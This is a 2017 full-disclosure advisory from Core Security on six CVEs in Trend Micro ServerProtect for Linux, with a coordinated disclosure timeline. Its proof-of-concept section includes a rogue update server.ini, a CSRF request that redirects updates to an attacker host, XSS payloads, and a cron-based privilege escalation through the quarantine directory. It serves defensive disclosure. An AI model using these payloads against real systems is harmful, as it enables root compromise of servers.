Message-ID: <a09a6da2-b796-b494-1603-95a2bf163c96@coresecurity.com>
Date: Tue, 23 May 2017 13:10:43 -0300
From: Core Security Advisories Team <advisories@...esecurity.com>
To: <bugtraq@...urityfocus.com>, <fulldisclosure@...lists.org>
Subject: [FD] [CORE-2017-0002] - Trend Micro ServerProtect Multiple
	Vulnerabilities

1. *Advisory Information*

Title: Trend Micro ServerProtect Multiple Vulnerabilities
Advisory ID: CORE-2017-0002
Advisory URL:
http://www.coresecurity.com/advisories/trend-micro-serverprotect-multiple-vulnerabilities
Date published: 2017-05-23
Date of last update: 2017-05-23
Vendors contacted: Trend Micro
Release mode: Coordinated release

2. *Vulnerability Information*

Class: Cleartext Transmission of Sensitive Information [CWE-319],
Insufficient Verification of Data Authenticity [CWE-345], Cross-Site
Request Forgery [CWE-352], Improper Neutralization of Input During Web
Page Generation ('Cross-site Scripting') [CWE-79], Improper
Neutralization of Input During Web Page Generation ('Cross-site
Scripting') [CWE-79], External Control of File Name or Path [CWE-73]
Impact: Code execution, Security bypass
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2017-9035, CVE-2017-9034, CVE-2017-9033, CVE-2017-9037,
CVE-2017-9032, CVE-2017-9036

3. *Vulnerability Description*

Trend Micro's website states that ServerProtect for Linux 3.0 [1]  does
"Protect against viruses, rootkits, and data-stealing malware while
simplifying and automating security operations on servers and storage
systems. This reliable solution from the market leader in server
security offers real-time protection, high performance, and low
processing overhead."

Vulnerabilities were found in the ServerProtect for Linux update
mechanism, allowing remote code execution as root. We present two
vectors to achieve this: one via a man-in-the-middle attack and another
one via exploiting vulnerabilities in the Web-based Management Console
that is bundled with the product.

4. *Vulnerable Packages*

. Trend Micro ServerProtect for Linux 3.0-1061 with SP1 Patch 7
(1.0-1505)
Other products and versions might be affected, but they were not tested.

5. *Vendor Information, Solutions and Workarounds*

Trend Micro published the following Security Notes:
   . KB1117411 - https://success.trendmicro.com/solution/1117411

6. *Credits*

These vulnerabilities were discovered and researched by Leandro Barragan
 and Maximiliano Vidal from Core Security Consulting Services. The
publication of this advisory was coordinated by Alberto Solino from
Core Advisories Team.

7. *Technical Description / Proof of Concept Code*

Trend Micro ServerProtect for Linux uses an insecure update mechanism
that allows an attacker to overwrite sensitive files, including
binaries, and achieve remote code execution as root.

The vulnerabilities presented in sections 7.1 and 7.2 are the core
issue, and would allow an attacker in a man-in-the-middle position to
gain root access.

Another option exists for when a man-in-the-middle attack is not
feasible. The Web-based Management Console includes functionality to
specify alternative download sources. By exploiting vulnerabilities
7.3, 7.4, or 7.5, an attacker would be able to set an arbitrary download
 source and trigger the vulnerable update mechanism.

Also, a privilege escalation vulnerability is presented in section 7.6
that allows a local user to run commands as root. This is achieved by
abusing a functionality from the Web-based Management Console to set
the quarantine directory to an arbitrary location.

7.1. *Insecure Update via HTTP*

[CVE-2017-9035]
Communication to the update servers is unencrypted. The following
request is generated when an administrator launches an update:

/-----
        GET /activeupdate/ini_xml.zip HTTP/1.1
        Host: splx3-p.activeupdate.trendmicro.com:80
        User-Agent: Mozilla/4.0 (compatible;MSIE 5.0; Windows 98)
        Accept: */*
        Pragma: No-Cache
        Cache-Control: no-store, no-cache
        Connection: close
        X-Trend-ActiveUpdate: 2.85.0.1097

-----/

The zip contains a server.ini file that describes from where to download
engine updates, signatures, etc., as well as some metadata of each file.
Additional updates are also downloaded via HTTP by default.

This means that the product does not do any kind of certificate
validation or public key pinning, which makes it easier for an attacker
to eavesdrop and tamper the data.

7.2. *Unvalidated Software Updates*

[CVE-2017-9034]
Update packages are not signed or validated in any form other than
matching the expected size described in the server.ini file.

An attacker can overwrite sensitive files in the ServerProtect's
directory, including shared libraries. Some interesting examples are
the libvsapi.so and libaction.so files, which result in code execution
in the context of the application, which is running as root.

The following is a proof of concept to demonstrate the vulnerability:

Create a zip archive with a copy of /bin/ls inside. For the example, we
will call this file pepperoni.zip and rename the ls executable to the
file we want to overwrite, which in this case is libvsapi.so.

/-----
    $ md5sum /bin/ls
    c4e5f7fcbcef75924b2abde2b2e75f3f /bin/ls

-----/

The next step is to provide a malicious server.ini file with the
correct size for the update:

/-----
    [Server]
    AvailableServer=1
    Server.1=http://malicious-server

    [ENGINE]

E.20000400=VSAPI_X64_LINUX,engine/pepperoni.zip,9.900.1111,57049,6.510.1002

-----/

The next time an update is launched, our file will be downloaded and
the shared object library overwritten.

/-----
    $ pwd
    /opt/TrendMicro/SProtectLinux
    $ ls -l libvsapi.so
    -r-x------. 1 root root 126584 mar 9 12:03 libvsapi.so
    $ sudo md5sum libvsapi.so
    c4e5f7fcbcef75924b2abde2b2e75f3f libvsapi.so

-----/

Replacing libvsapi.so with a malicious shared object file would result
in command execution as root when the update process finishes or the
API is accessed afterwards. Such payloads could include reverse shells,
backdoor implants, etc.

7.3. *Lack of Cross-Site Request Forgery Protection*

[CVE-2017-9033]
There are no Anti-CSRF tokens in any forms on the web interface. This
would allow an attacker to submit authenticated requests when an
authenticated user browses an attack-controlled domain.

Proof of concept request to start an update from an arbitrary source:

/-----
    POST /SProtectLinux/scanoption_set.cgi?id=Update_Manual HTTP/1.1
    Host: <server name>:14943
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:51.0)
Gecko/20100101 Firefox/51.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Referer: https://<server
IP>:14943/SProtectLinux/scanoption.cgi?page=../html/Update/Update_Manual.htm
    Cookie:

!CRYPTAA!Qt/gETGgy6CFP+CHi0CZtntYcGcNf7jEzyctWQBhApzX0OfFLSEsixs9IqWTpl5joTfY06TJt9/Y2l9HXHa8EQADe8C5A9AE64ef95C270C7D8666267F8!!
    DNT: 1
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 252


C222=ON&C22=ON&C23=ON&C32=ON&source=V9&T119=http%3A%2F%2Frogueserver&B35=Update+now&id=ManualUpdateConfig&

DoUpdateNow=1&tmLastConfigFileModifiedDate=&bOverWrite=true&bDirectlyUpdateNow=true&bLicenseViolate=&
    UpdateSrcName=Trend+Micro+ActiveUpdate+server

-----/

7.4. *Cross-Site Scripting in notification.cgi*

[CVE-2017-9037]
The following parameters of the notification.cgi script are vulnerable
to cross-site-scripting: S44, S5, S_action_fail, S_ptn_update, T113,
T114, T115, T117117, T118, T_action_fail, T_ptn_update, textarea,
textfield5, tmLastConfigFileModifiedDate.

The following is a proof of concept to demonstrate the vulnerability:

/-----
    https://<server
IP>:14943/SProtectLinux/notification.cgi?Scan_config3=ON&textfield5=100&D1=60&

T114=[SPLX]+Security+risk+outbreak+subject&textarea=A+security+risk+outbreak+was+detected&

Scan_config=ON&T115=[SPLX]+Security+risk+infection+subject&S2=Security+risk+infection(s)+detected&

Scan_config4=ON&T116=[SPLX]+Real-time+scan+configuration+modified&S3=The+real-time+scan+configuration+

was+modified&Scan_config5=ON&T117=[SPLX]+ServerProtect+was+started&S4=ServerProtect+was+started&

Scan_config55=ON&T117117=[SPLX]+ServerProtect+was+stopped&S44=ServerProtect+was+stopped&

Scan_config2=ON&T113=7&T118=[SPLX]+Pattern+file+is+outdated&S5=Pattern+file+is+outdated&

CHK_ptn_update=ON&T_ptn_update=[SPLX]+Pattern+update+unsuccessful&S_ptn_update=Pattern+update+

unsuccessful&CHK_action_fail=ON&T_action_fail=[SPLX]+Action+performed+on+malware+unsuccessful&

S_action_fail=Action%20performed%20on%20malware%20unsuccessful%3C%2fscript%3E%3Cimg%20src%3da%20onerror%3d

alert(1)%3E&B22=Save&page=Alerts.htm&action=save&tmLastConfigFileModifiedDate=123

-----/

7.5. *Cross-Site Scripting in log_management.cgi*

[CVE-2017-9032]
The T1 and tmLastConfigFileModifiedDate parameters of the
log_management.cgi script are vulnerable to cross-site scripting.

The following is a proof of concept to demonstrate the vulnerability:

/-----
    https://<server
IP>:14943/SProtectLinux/log_management.cgi?T1=%2fvar%2flog%2fTrendMicro%2fSProtectLinux%3c%2f

script%3e%3cimg%20src%3da%20onerror%3dalert(1)%3et&B2=Save&Type=9&sCreateDirectoryIfNotExist=&
    goBackDoNotAsk=0&tmLastConfigFileModifiedDate=123

-----/

7.6. *Unrestricted quarantine directory could allow local privilege
escalation*

[CVE-2017-9036]
The Web-based Management Console allows users to set the Quarantine
directory to any location on the file system. An unauthenticated user
could also change Quarantine directory settings by exploiting
vulnerabilities 7.3, 7.4 or 7.5.

Files flagged as suspicious by the scanner are then moved to that
directory without changing its name.

Quarantine files are owned by root and its permissions are changed to
0600.
This effectively allows a local user to write the file that is put in
quarantine to an arbitrary location with root permissions, which could
lead to privilege escalation.

Being able to write to the file system as root opens the door to several
 privilege escalation vectors on Linux machines. In this PoC we present
one vector which consist on creating a cron job on /etc/cron.d
directory:

Change Quarantine directory to /etc/cron.d by visiting the following
URL:

/-----
      https://<server
IP>:14943/SProtectLinux/scanoption_set.cgi?T1=%2Fetc%2Fcron.d&id=QuarantineSettings&

page=QuarantineDirectory&sCreateDirectoryIfNotExist=&goBackDoNotAsk=0&tmLastConfigFileModifiedDate=&
      bOverWrite=true

-----/

Place the binary you want to run on /tmp/test, this could be a reverse
shell or any other binary. Place the following file anywhere on /home:

/-----
      * * * * * root /tmp/test
      #{{EICAR.COM string content from
http://www.eicar.org/download/eicar.com}}

-----/

(Please note that we removed EICAR file content in order to avoid this
advisory to be flagged as virus)

During the next scan, that file will be flagged as a virus (it contains
EICAR test file as part of it), and it will be written by root to the
directory we have chosen as the Quarantine directory, effectively
placing it on /etc/cron.d. When the cron job gets triggered, /tmp/test
is executed as root.

8. *Report Timeline*
2017-03-14: Core Security sent an initial notification to Trend Micro,
including a draft advisory.
2017-03-14: Trend Micro confirmed reception of advisory and informed
they will submit it to the relevant technical team for validation and
replication.
2017-04-03: Core Security asked Trend Micro if they were able to review
and verify the reported issues. Core Security additionally requested an
estimate date for releasing the fix/update.
2017-04-03: Trend Micro confirmed they could reproduce all
vulnerabilities reported. They are working on a fix and cannot confirm
ETA due to the need to pass through several processes and QA to ensure
the accuracy of the solution.
2017-04-24: Core Security asked TrendMicro for an update on the status
of the fixes for the reported vulnerabilities.
2017-04-25: Trend Micro reported the patches are composed but still in
progress of localizing the build for other regions. They are planning
on publishing a security advisory and asked to agree on a release date.
2017-04-25: Core Security proposed disclosure date to be May 22nd. Also
asked for assigned CVE numbers.
2017-04-25: Trend Micro said they will review their timeline and define
a more concrete release date. They also said they have their own
vulnerability identifiers and are not using CVE-ID.
2017-04-26: Core Security asked for their vulnerability identifiers so
we can include them in our advisory.
2017-04-28: Trend Micro said they will share the security IDs once
ready. Also asked for the researcher's names for proper attribution.
2017-05-08: Core Security researchers found out a Critical Patch dated
April 14th covering 5 out of the 6 vulnerabilities reported already
published. Core Security asked for immediate clarification on the issue.
017-05-09: Trend Micro acknowledged they published the patch and said
they didn't issue an advisory yet since there is still one vulnerability
 to fix and they still need to translate the patch description to other
languages. Trend Micro apologized for the confusion.
2017-05-10: Core Security confirmed reception of message, stating being
still in disagreement with the way the process was handled. Core
Security also asked status on remaining vulnerability to assess the
need to split the advisory in two.
2017-05-16: Trend Micro confirmed they have a fix available for the
remaining vulnerability and asked the publication date to be May 23rd.
2017-05-16: Core Security accepted target publication date and sent the
researchers' names for proper attribution. Core Security informed our
advisory will be published May 23rd at noon time EST.
2017-05-16: Trend Micro thanked us for accepting the date change and
also asked for the CVE numbers to include in their advisory.
2017-05-18: Core Security sent the assigned CVE numbers for each
vulnerability. Reminded Trend Micro to send their advisory ID for these
issues in order to include it in our final advisory.
2017-05-22: Trend Micro sent their advisory ID (KB1117411) and final
link.
2017-05-23: Advisory CORE-2017-0002 published.

9. *References*

[1]
http://apac.trendmicro.com/apac/enterprise/cloud-solutions/server-protection/.

10. *About CoreLabs*

CoreLabs, the research center of Core Security, is charged with
anticipating the future needs and requirements for information security
technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. CoreLabs regularly publishes security
advisories, technical papers, project information and shared software
tools for public use at: http://corelabs.coresecurity.com.

11. *About Core Security*

Core Security provides companies with the security insight they need to
know who, how, and what is vulnerable in their organization. The
company's threat-aware, identity & access, network security, and
vulnerability management solutions provide actionable insight and
context needed to manage security risks across the enterprise. This
shared insight gives customers a comprehensive view of their security
posture to make better security remediation decisions. Better insight
allows organizations to prioritize their efforts to protect critical
assets, take action sooner to mitigate access risk, and react faster
if a breach does occur.

Core Security is headquartered in the USA with offices and operations in
South America, Europe, Middle East and Asia. To learn more, contact Core
Security at (678) 304-4500 or info@...esecurity.com.

12. *Disclaimer*

The contents of this advisory are copyright (c) 2017 Core Security
and (c) 2017 CoreLabs, and are licensed under a Creative Commons
Attribution Non-Commercial Share-Alike 3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/


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